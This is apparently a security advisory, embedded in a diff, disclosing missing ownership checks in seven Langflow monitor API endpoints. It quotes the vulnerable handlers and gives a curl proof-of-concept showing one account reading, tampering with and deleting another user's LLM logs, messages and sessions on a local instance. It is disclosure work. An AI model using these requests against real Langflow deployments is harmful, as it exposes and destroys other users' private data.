+ "details": "### Summary\n\nLangflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.\n\n\n### Details\n\n**Source file: `src/backend/base/langflow/api/v1/monitor.py`**\n\nThe correct pattern (used only in `GET /monitor/messages`, lines 77–80):\n```python\nstmt = select(MessageTable)\nstmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)\nstmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced\n```\n\nAll 7 vulnerable endpoints are missing this guard:\n\n**1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`:\n```python\n@router.get(\"/builds\", dependencies=[Depends(get_current_active_user)])\nasync def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):\n vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check\n return VertexBuildMapModel.from_list_of_dicts(vertex_builds)\n```\n\n**2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID:\n```python\n@router.delete(\"/messages\", status_code=204, dependencies=[Depends(get_current_active_user)])\nasync def delete_messages(message_ids: list[UUID], session: DbSession):\n await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))\n # message_ids accepted verbatim, no ownership check\n```\n\n**3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message:\n```python\ndb_message = await session.get(MessageTable, message_id)\n# no check: db_message.flow_id → Flow.user_id == current_user.id\ndb_message.sqlmodel_update(message_dict)\n```\n\n**4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session:\n```python\nstmt = select(MessageTable).where(MessageTable.session_id == old_session_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session:\n```python\nawait session.exec(\n delete(MessageTable).where(col(MessageTable.session_id) == session_id)\n # no ownership filter\n)\n```\n\n**6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`:\n```python\nstmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`:\nShares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts.\n\n### PoC\n\nTested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker).\n\n```bash\n# Setup: authenticate both users\nTOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=langflow&password=langflow\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\nATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=attacker_test&password=Attacker123\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\n# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]}}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\n# PoC 1: Read victim's LLM transaction logs (prompts + model responses)\ncurl -s \"http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — full transaction log returned including user prompts and model responses\n\n# PoC 2: Read victim's build data\ncurl -s \"http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200\n\n# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)\ncurl -s -X DELETE \"http://localhost:7860/api/v1/monitor/messages\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '[\"<victim_message_id>\"]'\n# HTTP 204 — message deleted\n\n# PoC 4: Tamper with victim's message content\ncurl -s -X PUT \"http://localhost:7860/api/v1/monitor/messages/<victim_message_id>\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '{\"text\":\"TAMPERED BY ATTACKER\"}'\n# HTTP 200 — message overwritten, \"edit\":true set\n\n# PoC 5: Rename victim's session\ncurl -s -X PATCH \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — session renamed\n\n# PoC 6: Bulk-delete victim's entire session\ncurl -s -X DELETE \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 204 — entire session deleted\n```\n\nAll 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `\"TAMPERED BY ATTACKER\"`, session renamed to attacker-controlled name, second session completely deleted.\n\n### Impact\n\nThis vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).\n\n**Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state.\n\n**Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.\n\n**Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.\n\nAny registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.",
0 commit comments